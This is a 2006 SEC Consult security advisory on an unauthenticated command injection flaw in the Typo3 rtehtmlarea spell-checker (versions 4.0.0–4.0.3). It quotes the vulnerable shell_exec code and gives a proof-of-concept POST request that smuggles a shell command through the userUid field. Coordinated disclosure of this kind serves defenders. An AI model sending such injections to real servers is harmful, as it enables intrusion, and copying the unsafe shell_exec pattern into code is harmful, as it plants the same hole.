SEC Consult SA-20061220-0 :: Typo3 Command Execution Vulnerability Dec 20 2006 01:04PM
SEC Consult Research (research sec-consult com)
SEC-CONSULT Security Advisory < 20061220-0>
=======================================================================
title: Remote Command Execution in Typo3
program: Typo3 Content Management System
vulnerable version: 4.0.0 - 4.0.3
3.7 and 3.8 with rtehtmlarea extension
4.1beta
impact: critical
homepage: http://www.typo3.com
found: 2006-11-21
by: D. Fabian / SEC-CONSULT / www.sec-consult.com
J. Greil / SEC-CONSULT / www.sec-consult.com
permanent link: http://www.sec-consult.com/272.html
=======================================================================

vendor description:
---------------

TYPO3 is a free Open Source content management system for enterprise
purposes on the web and in intranets. It offers full flexibility and
extendability while featuring an accomplished set of ready-made
interfaces, functions and modules.

[Source: http://www.typo3.com]

vulnerability overview:
---------------

In version 4.0 and above, Typo3 includes a sysext named rtehtmlarea.
The extension can optionally also be installed on Typo3 versions below
4.0. This RTE HTML Editor allows spell checking, for which it uses the
command line tool 'aspell'.

When this program is called, unvalidated user input is used as argument
to the system call. Login to the backend is /not/ required to exploit
this vulnerability.

This allows an attacker to execute arbitrary commands on the target
system.

vulnerability details:
---------------

The affected script resides in /typo3/sysext/rtehtmlarea/htmlarea/
plugins/SpellChecker/spell-check-logic.php which calls the vulnerable
script /typo3/sysext/rtehtmlarea/pi1/class.tx_rtehtmlarea_pi1.php.
It requires a GET parameter id with the pageid of an existing page.
When the POST parameter cmd is set to learn, the parameter userUid is
not validated and can be used by an attacker to inject code.

Here is the vulnerable code (line 208):
--- code ---
$AspellCommand = 'cat ' . $tmpFileName . ' | ' . $this->AspellDirectory
. ' -a --mode=none' . $this->personalDictsArg . ' --lang=' .
$this->dictionary . ' --encoding=' . $this->parserCharset . ' 2>&1';
print $AspellCommand . "\n";
print shell_exec($AspellCommand);
--- /code ---

There seems to be a second command execution vulnerability in the same
file in line 365. It is left as a task to the reader to exploit that
flaw.

For typo3 versions < 4.0, the rtehtmlarea extension is probably located
at /typo3/ext.

proof of concept:
---------------

Here is a sample POST request that writes a file 'shell.txt' into /tmp:

--- post request ---
POST /typo3/sysext/rtehtmlarea/htmlarea/plugins/SpellChecker/spell-
check-logic.php?id=1 HTTP/1.1
Host: www.typo3host.abc
User-Agent: none
Content-Type: application/x-www-form-urlencoded
Content-Length: 111

psell_mode=fast&to_p_dict=1&cmd=learn&userUid=test;+echo+'shell'+>+
/tmp/shell.txt+%23&enablePersonalDicts=true
--- /post request ---

vulnerable versions:
---------------

Versions 4.0 - 4.0.3 as well as 4.1beta seem to be vulnerable to the
described attack. Also vulnerable are versions 3.7 and 3.8 if the
rtehtmlarea extension is installed.
The issue has been resolved in version 4.0.4.

vendor status:
---------------
vendor notified: 2006-12-07
vendor response: 2006-12-07
patch available: 2006-12-20
coordinated disclosure: 2006-12-20

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EOF Daniel Fabian / @2006

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